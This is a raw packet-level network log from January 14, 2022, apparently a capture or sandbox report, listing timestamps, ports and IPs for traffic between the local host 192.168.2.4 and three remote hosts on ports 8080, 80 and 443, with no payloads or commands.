Jan 14, 2022 09:25:11.229705095 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.229733944 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229779959 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229784966 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.229830027 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229883909 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.229912043 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229963064 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230004072 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230010986 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.230042934 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230087042 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230088949 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.230127096 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230165005 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230174065 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.230205059 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230247021 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230261087 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.230287075 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230328083 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230334997 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.230365992 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230407000 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230415106 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.230458021 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230498075 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.230506897 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.231432915 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.291579008 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.291640997 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.291691065 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.291728020 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.291732073 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.291779041 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.291793108 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.291847944 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.291898012 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.291898012 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.291951895 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292005062 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.292009115 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292072058 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292124033 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.292129993 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292185068 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292233944 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.292234898 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292284012 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292336941 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.292337894 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292383909 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292444944 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.292445898 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292506933 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292563915 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.292563915 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292617083 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292675972 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292725086 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292745113 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.292784929 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292835951 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292840958 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.292881012 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292922020 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.292929888 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.292962074 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293001890 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293006897 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293042898 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293097973 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293116093 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293168068 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293180943 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293210030 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293251038 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293287992 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293306112 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293332100 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293334961 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293385983 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293442011 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293442011 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293483973 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293524027 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293540001 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293569088 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293617964 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293622017 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293674946 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293711901 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293725014 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293766022 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293808937 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293813944 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293872118 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293920994 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.293922901 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.293962955 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.294092894 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.355159998 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355212927 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355262995 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355313063 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.355324984 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355382919 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.355403900 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355464935 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355520964 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355524063 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.355580091 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355628014 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355664968 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355674982 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.355701923 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.355705976 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355762959 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355807066 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355808973 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.355850935 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355895042 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.355906963 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355951071 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.355995893 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.356024981 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356085062 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356133938 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.356137991 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356178999 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356220961 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.356231928 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356280088 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356327057 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.356334925 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356388092 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356440067 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356441021 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.356486082 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356525898 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356533051 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.356578112 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356630087 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.356650114 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356693029 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356731892 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356741905 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.356769085 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356821060 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356822014 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.356861115 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356898069 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356909037 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.356936932 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.356977940 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357006073 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.357016087 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357054949 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357094049 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357095957 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.357130051 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.357131004 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357171059 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357223034 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357251883 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.357263088 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357301950 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357343912 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357345104 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.357383013 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357435942 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.357443094 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.357484102 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.418612003 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.418673992 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.418752909 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.418754101 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.418807030 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.418863058 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.418865919 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.418921947 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.418972969 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.418979883 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419030905 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419078112 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.419084072 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419127941 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419171095 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.419183016 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419230938 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419280052 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.419281006 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419332027 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419375896 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.419387102 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419449091 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419495106 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.419492960 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419567108 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419609070 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419620991 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.419663906 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419712067 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.419712067 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419771910 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419815063 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419817924 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.419855118 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419893980 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419899940 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.419934034 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419971943 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.419984102 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420011997 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420052052 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420059919 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420090914 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420131922 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420136929 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420170069 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420212030 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420217037 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420264006 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420301914 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420317888 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420341969 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420381069 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420386076 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420422077 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420469999 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420473099 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420511961 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420552015 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420556068 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420593023 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420630932 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420643091 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420671940 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420720100 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420726061 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420764923 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420804024 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420810938 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.420844078 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.420887947 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.482074976 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482145071 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482206106 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482249975 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.482264042 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482386112 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482440948 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.482455015 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482497931 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482541084 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482564926 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.482578039 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.482630014 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482701063 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482748032 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482800961 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482804060 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.482850075 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482892036 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482919931 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.482932091 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.482974052 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483001947 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.483023882 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483052969 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.483083963 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483139038 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483174086 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.483211994 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483264923 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.483267069 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483309984 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483356953 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.483365059 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483405113 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483454943 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483469009 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.483490944 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.483599901 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:14.442013979 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.459309101 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.459439993 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.459537983 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.459769964 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.476782084 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.476878881 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.600750923 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.600892067 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.601006031 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.618083000 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.634788990 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.652090073 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.652199984 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.652302027 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.652313948 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.669524908 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.773226023 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.773323059 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.773524046 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.790709972 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.801035881 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.818177938 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.819436073 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.819624901 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.819648027 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.836860895 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.836894989 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.966584921 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.966659069 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.966846943 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:14.984059095 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:14.998423100 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:14.998451948 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:14.998522043 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:14.998841047 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:14.998856068 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.046606064 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.046711922 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.048635006 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.048649073 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.048907042 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.050199032 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.097893000 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.189744949 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190026045 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190131903 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190211058 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.190236092 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190248966 CET	443	49801	162.159.135.233	192.168.2.4
